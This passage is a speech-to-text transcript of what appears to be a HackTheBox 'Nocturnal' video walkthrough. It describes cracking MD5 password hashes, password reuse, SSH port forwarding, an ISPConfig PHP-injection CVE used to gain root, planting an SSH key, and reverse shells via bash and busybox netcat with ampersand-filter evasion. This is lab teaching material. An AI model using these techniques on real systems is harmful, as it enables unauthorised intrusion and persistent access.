{"text": "So I'm just going to do select hash from users. Yeah, that'll be fine.", "start": 1745.84, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 70 |
+
{"text": "Uh was it password? There we go. Going to grab all the hashes. And then we're just going to send them to Crackstation because this just looks like MD5 sums.", "start": 1757.6, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 71 |
+
{"text": "So crackstation, I think it's net. I am on intercept.", "start": 1771.6, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 72 |
+
{"text": "There we go. And up to 20. Not a robot. Let's see what it makes me do. Nothing. Awesome. So we have a few. We have Kavi Kavi and then slow motion apocalypse. So let's look at what this goes to.", "start": 1780.0, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 73 |
+
{"text": "It looks like the user Tobias. Um, so let's do SU Tobias. Does this work?", "start": 1798.08, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 74 |
+
{"text": "Did I have that copied right? I did not.", "start": 1812.799, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 75 |
+
{"text": "Paste. There we go. So we can get in. Um, I realized we never actually checked um if who is it? Amanda has SSH access. So I guess we could also do that. So we can do sh Amanda at 1010 11164 and grab the password out of this. Paste it in. I sent the wrong password.", "start": 1818.64, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 76 |
+
{"text": "Copy. Okay, the right password's on my clipboard now.", "start": 1845.52, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 77 |
+
{"text": "and we don't. So, we have Tobias. The first thing I'm going to do is check pseudo. And let's make sure we get this password. I probably should creating a text file and saving these passwords, but I am lazy. So, Tobias may not run pseudo on Nocturnal. So, this doesn't really get us anything. Um, we look at ports on the box. We see my SQL. We also have something on 8080. So let's do curl 127001 8080. I'm going to do a i which is going to show me all the headers returned. It looks like it is x powered by php and we have this weird cookie. We did not get this cookie before the ISPs probably ISP session. Um and it's directing us to login. Uh let's see. I'm going to go cdetsy. I'm going to grap everything for 8080. hide errors because there's going to be a ton of files we can't access. And we see a service this", "start": 1851.52, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 78 |
+
{"text": "um systemd system ISP config. It's executing PHP on that port. So let's see what this service looks like. Uh let's see it is run by root going in this directory. So if I do a ls on the directory, we get permission denied. So we can't look at those files, but we can set up a port forward. So if the first thing on the line is dollar C or squiggly C, it puts you in this SSH prompt. I'm going to forward port 8080 over to my local host. So 001 8080.", "start": 1912.159, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 79 |
+
{"text": "And before I hit enter, I'm just going to show if I go oh let's do 8081 on our local because 8080 is listening by burp suite. So let's do 001 8081. We don't get a page. Send this back. um ports in use cuz I screwed that up. We went dash L. It's listening port and then where you want to connect to.", "start": 1946.96, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 80 |
+
{"text": "So, we're going to listen on port 8081 and then connect to 127001880 through this SSH connection. There we go. So, refresh the page and we get logged in. So, we have two credentials. We have Amanda and Tobias. I'm just going to try Tobias first. And I really should have a better way of copying this password. Thankfully, I left there. Um, Tobias. Did I spell that right? Password wrong. Tobias. Let's go. Let's try Amanda. So, we can grab this. Amanda.", "start": 1969.84, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 81 |
+
{"text": "Paste it. Invalid username and password. We could try other users. Let's see.", "start": 2009.76, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 82 |
+
{"text": "Password lost. Oh, we need the email, too. I was hoping we could just enumerate valid users. Um, let's see.", "start": 2015.6, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 83 |
+
{"text": "ASD. ASD. Log in. What's it say? Username and password wrong. Um, we could try admin. So, I still have Amanda's password on my clipboard. So, try admin with her password. Doesn't work. Um, admin with Tobias's password. Let's see if this works.", "start": 2022.399, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 84 |
+
{"text": "Log in. And there we go. We get logged into this ISP config page.", "start": 2042.24, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 85 |
+
{"text": "Um, so the first thing I want to do is see if we can find a way to enumerate versions or just run commands. So clicking on tools. I was hoping maybe it had like a bash prompt. It does not.", "start": 2048.24, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 86 |
+
{"text": "Sync tools does not. Let's see if we do system.", "start": 2060.32, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 87 |
+
{"text": "Uh, okay. This kind of looked like a cron tab for a second, but it's not. Um, C panel users, server IP, PHP versions, firewall.", "start": 2065.839, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 88 |
+
{"text": "Looking for a way to enumerate the version.", "start": 2079.839, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 89 |
+
{"text": "ControlU. Do we have version anywhere? It does not look like it. Is there like an about monitor more information?", "start": 2084.879, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 90 |
+
{"text": "Nothing interesting there.", "start": 2102.0, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 91 |
+
{"text": "Bunch of log files needed services offline. Oh, it's right in front of my face. We have this ISP config 3210P1. I kept thinking when I saw this was like you output, but nope. There's the version. So, we can go and Google this exploit and see if we get anything.", "start": 2109.76, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 92 |
+
{"text": "Let's see. Looks like we have a GitHub page.", "start": 2136.4, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 93 |
+
{"text": "And if we went back, it also probably told us um the CVE would say how it works. Um let's see. Here is a writeup, I think.", "start": 2142.48, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 94 |
+
{"text": "Does it tell us description? So, PHP code injection can be achieved in the language file editor by an admin if admin allow language edit is enabled.", "start": 2155.04, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 95 |
+
{"text": "So, if we take a look at this Python script, let's see what it does.", "start": 2168.64, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 96 |
+
{"text": "We're making sure the URL starts with HTTP. We log in, get the CS surf token, we inject the shell. So, we're going to send a post request to languageedit.php, and the payload is going to um do this. I'm not exactly sure what that's doing. I guess um executing the PHP code potentially, this HTTPC variable. Um not sure exactly what's going on there, but essentially we do a file put contents and do sh.php PHP and then put our payload here. So, this looks relatively straightforward. Let's just do a um get clone. Paste this in cd CVE.", "start": 2174.56, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 97 |
+
{"text": "And now I'm going to do um Python 3 CVE.", "start": 2226.96, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 98 |
+
{"text": "What is it? Uh how do we run this?", "start": 2234.32, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 99 |
+
{"text": "the URL and they used 8081 as well. I'm guessing they had Burpuite listening on 8080. Now let's do what is it? Um admin and then the password. Where is the password? Crackstation slow motion apocalypse. Paste this in. We do who am I? We are root. So we can do lsroot catroot root.ext.", "start": 2239.599, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 100 |
+
{"text": "And there we go. We have successfully poned the box.", "start": 2268.88, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 101 |
+
{"text": "So I know there's one thing we wanted to do. If we go all the way back, I have this anal u analysis later. And I probably should just put my SSH key on this box. So let's go um SSH key gen.", "start": 2274.64, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 102 |
+
{"text": "Uh is it 25519? I hope this is right. Uh, let's do nocturnal. There we go.", "start": 2291.92, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 103 |
+
{"text": "Cat nocturnal.pub. And that's just a very short SSH key so it's easier to copy and paste around. Um, so we can copy this.", "start": 2304.4, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 104 |
+
{"text": "And let's see, we'll do lsla.", "start": 2314.8, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 105 |
+
{"text": "We have ash directory. Awesome. So we can say echo this root SSH authorized keys. There we go. SH- I nocturnal root at 1010 1164. And now I'm in the box. So what this is going to enable us to do is edit the script so we can see exactly um where our payload was going bad. So, let's get a working payload again. And this does not look good. So, we're doing the please subscribe, the double quote, and then this is a line break. And all I want to do is get our bash reverse shell, right? So, let's get rid of this. Get rid of this.", "start": 2319.92, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 106 |
+
{"text": "We say percent 0. And then we're just going to type it here. So, we'll do Wait, we had it on uh dubdubdub, right? cd dubdubdub cat. Was it shell.sh? Yep. Uh tail-1 and uh hold on.", "start": 2373.839, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 107 |
+
{"text": "This is getting messy. Uh just do temp dash c. I'm just doing this so I can easily um set right. So we can do search and replace and then search for um space and replace it with was tab 09 I think 09 right on temp. There we go.", "start": 2400.88, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 108 |
+
{"text": "Let's just copy. Let's see. Was this where I did it? Yep. 09 was tab. So, we can put that there.", "start": 2428.0, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 109 |
+
{"text": "And then we have to encode both of these. There we go. And now I'm going to put this all on one line and send it.", "start": 2437.92, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 110 |
+
{"text": "And did we get a shell? It's hung. Uh, NP 9,0001. Send uh thing nocturnal HTB can reach it can curl. Oh, I bet it's related to my session.", "start": 2452.96, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 111 |
+
{"text": "Um, let's see. Curl-h cookies. This is going to sound really weird. It worked with cookies.", "start": 2482.48, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 112 |
+
{"text": "Did I spell it right? It's cookie.", "start": 2494.72, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 113 |
+
{"text": "Please say it hangs. Yes, it is hung. So, what's happening is it's putting my PHP session and probably like the PHP FPM. I think that's something field pool manager or something or file pool manager, whatever it is. And I have a reverse shell still running. So, I bet soon as I kill this reverse shell, then all my other requests will work. So, we kill all those. go back to my curl and suddenly it finishes and so does this. So having the reverse shell tied to my session was actually hanging all other web request which is somewhat interesting. Uh let's now go back to our netcat. Run it and we immediately get a response back.", "start": 2499.76, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 114 |
+
{"text": "So, let's see. Try another. Oh, I bet the and sign is on the bad characters. That makes sense because you can do command injection with that, right? This percent 26 when I decode it. Um, whoops. I think yeah, I just decoded it there. So, that's probably on a bad character. And when I was sending it like this, it probably puts this into a weird parameter because this is also a delimiter in HTTP and that's why it took that second and we have error creating backup. So that is definitely it. The percent 26 is screwing it up, right? Yeah. Um, if I go now, let's go in verdubdubdub nocturnal.htb and if I look at admin.php, php.", "start": 2544.64, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 115 |
+
{"text": "Let's see. So, the clean entry, these are all the blacklisted characters. So, we do have the amperand there. So, that's why we can't use that. And then I bet if we do try another password. There we go. Um, it's also looks like it is running this command and writing to See that's writing standard error to standard out.", "start": 2600.16, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 116 |
+
{"text": "That's writing to log file. So it should write to the log file temp backup. So if we send this let's see um we're on this box. Find slashgrap back. Oh whoops. We probably want to do temp. No.", "start": 2632.64, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 117 |
+
{"text": "Huh? Let's see.", "start": 2658.72, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 118 |
+
{"text": "We just do this. What happens?", "start": 2664.079, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 119 |
+
{"text": "So, now it has archived. Looks like it's just not writing to the backup at all, which is annoying. Or writing to the log file, I should say. Um, is there like a verte attempt? See what was that exact file name?", "start": 2669.599, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 120 |
+
{"text": "Uh, did I just delete the file? Where is admin.php?", "start": 2701.92, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 121 |
+
{"text": "I deleted the file.", "start": 2718.4, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 122 |
+
{"text": "I don't know how 404 not found. Well, that is unfortunate. Um, I may revert the box. Uh, because I don't think I have a copy of that file. Oh, wait.", "start": 2730.16, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 123 |
+
{"text": "I think this is admin.php.", "start": 2755.599, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 124 |
+
{"text": "I have no idea where that file went, but I think it's back.", "start": 2761.68, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 125 |
+
{"text": "That looks good. Okay. Um, I did something really stupid and I don't know what it was, but let's see.", "start": 2773.92, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 126 |
+
{"text": "Attent back up. What is that file name?", "start": 2786.319, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 127 |
+
{"text": "Is it backup underscore? It is.", "start": 2791.599, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 128 |
+
{"text": "There's log file. Oh, it's doing an unlink here. That's probably where it's uh getting deleted.", "start": 2801.2, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 129 |
+
{"text": "Let's comment this out.", "start": 2808.64, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 130 |
+
{"text": "No log file. What is the name?", "start": 2824.96, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 131 |
+
{"text": "slashtemp unders. Yeah. Okay. I have no idea where this file is going. Um, that is absolutely bizarre to me. But let's see. Uh, if we do nc-H. So, it looks like the amperand is the bad character and that's what's screwing it up. Um, we could try double URL encoding it. So, if we do I think percent 25 to six. Uh, we're just percents. Percent is 25.", "start": 2838.079, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 132 |
+
{"text": "So, you could try double your encoding. So everywhere there's a percent 26, we do percent 25. So that way it decodes it once, gets a percent 26, and then we get the amperand. Right? So that's what we're going to try. Don't think it's going to work.", "start": 2870.4, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 133 |
+
{"text": "Run it. And no.", "start": 2890.72, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 134 |
+
{"text": "So that doesn't work. And we can't really get around not using the amperand in this bash oneliner because the amperand is um I think what tells it's a file descriptor not a file. So that's annoying. Um netcat the NC version we have doesn't have the dash lowercase e. So we can't um set it to bash. Let's see there is busy box netcat right. Is this installed?", "start": 2895.92, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 135 |
+
{"text": "It is. And this has the dash e. So maybe we can use busy boxes. So let's copy this. And let's see. Here's the bash.", "start": 2927.839, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 136 |
+
{"text": "This is where we go. So all I'm going to do is this command and then 10 1048 91. And this will be dash e bash.", "start": 2940.48, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 137 |
+
{"text": "So, put tabs here.", "start": 2955.68, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 138 |
+
{"text": "Okay. Put this all on one line.", "start": 2962.96, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 139 |
+
{"text": "It's hung. And don't have a shell.", "start": 2969.76, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 140 |
+
{"text": "Let's see. Do we have an error message?", "start": 2979.119, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 141 |
+
{"text": "going down. Permission denied.", "start": 2985.839, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 142 |
+
{"text": "Let's see. We end that new line 0 A. We do busy box netcat 0 A and backup.", "start": 2992.24, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 143 |
+
{"text": "See, there's another file. Permission error. Not found.", "start": 3018.88, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 144 |
+
{"text": "See percent 09.", "start": 3040.8, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 145 |
+
{"text": "We need bin bash. Maybe use the full path.", "start": 3050.48, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 146 |
+
{"text": "Still did not work.", "start": 3057.52, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 147 |
+
{"text": "This will be really obvious in hindsight. I bet that's all 09's. So, let's try busy box n-e bin bash 10 10 148 91. What's it look like? Fail.", "start": 3062.96, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 148 |
+
{"text": "Let's see. local port is -p.", "start": 3088.8, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 149 |
+
{"text": "Uh, the port goes after. Okay, I'm not used to doing arguments that way, but let's try that.", "start": 3095.839, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 150 |
+
{"text": "Percent 09.", "start": 3110.64, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 151 |
+
{"text": "That was it. And we have a shell. Awesome. So, if you want to do it on one line, you can always fall back to um busy box. And that seems to be working. Does this shell work?", "start": 3116.4, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 152 |
+
{"text": "Yep, it does. So, that would be another way to do it. If for some reason you can't write to the disc, you could try the busy box netcat command and then do the dash e there. So hopefully you guys enjoyed um this little segment. It didn't go exactly as I thought because we spotted the issue right away. Um I was planning on if we go to admin.php.", "start": 3134.079, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 153 |
+
{"text": "Let's go to process open like uh proc. I guess we could start playing around with this in order to get this to either write to a file or write back out to the web page. So you could see the actual error message. Um I noticed I just wasn't looking at the error messages in Burp Suite, so we didn't have to go to that level, but um if you ever have like questions as you're doing things when you saw boxes, go back, edit the files, play around with it, put some debugs in, and then see um what it looks like, right? We could also like put a echo here. So we could say echo command. So before we run the command, we echo it. And let's see what happens here, right?", "start": 3158.24, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 154 |
+
{"text": "Um, let's control Z a few times to get to where our reverse shell is. Come on. I don't want busy box.", "start": 3201.68, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|
| 155 |
+
{"text": "And there we go. So, if we run this after we kill our shell, let's see. Cancel. Send control C that let's see I'm going to search for please subscribe and now we can see my exact command I'm running right so you can see exactly um shoot this one here's the command that was failing right but now we can start trouble shooting it and see how this looks. Um, it is doing HTML and the encoding here. Um, that doesn't break it uh because it does this encoding after it tries sending it to process open, I'm guessing. But yeah, that's just things you can do to play around the box. Take care all and I will see you all next", "start": 3217.2, "duration": 0.0, "meta": {"video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw"}}
|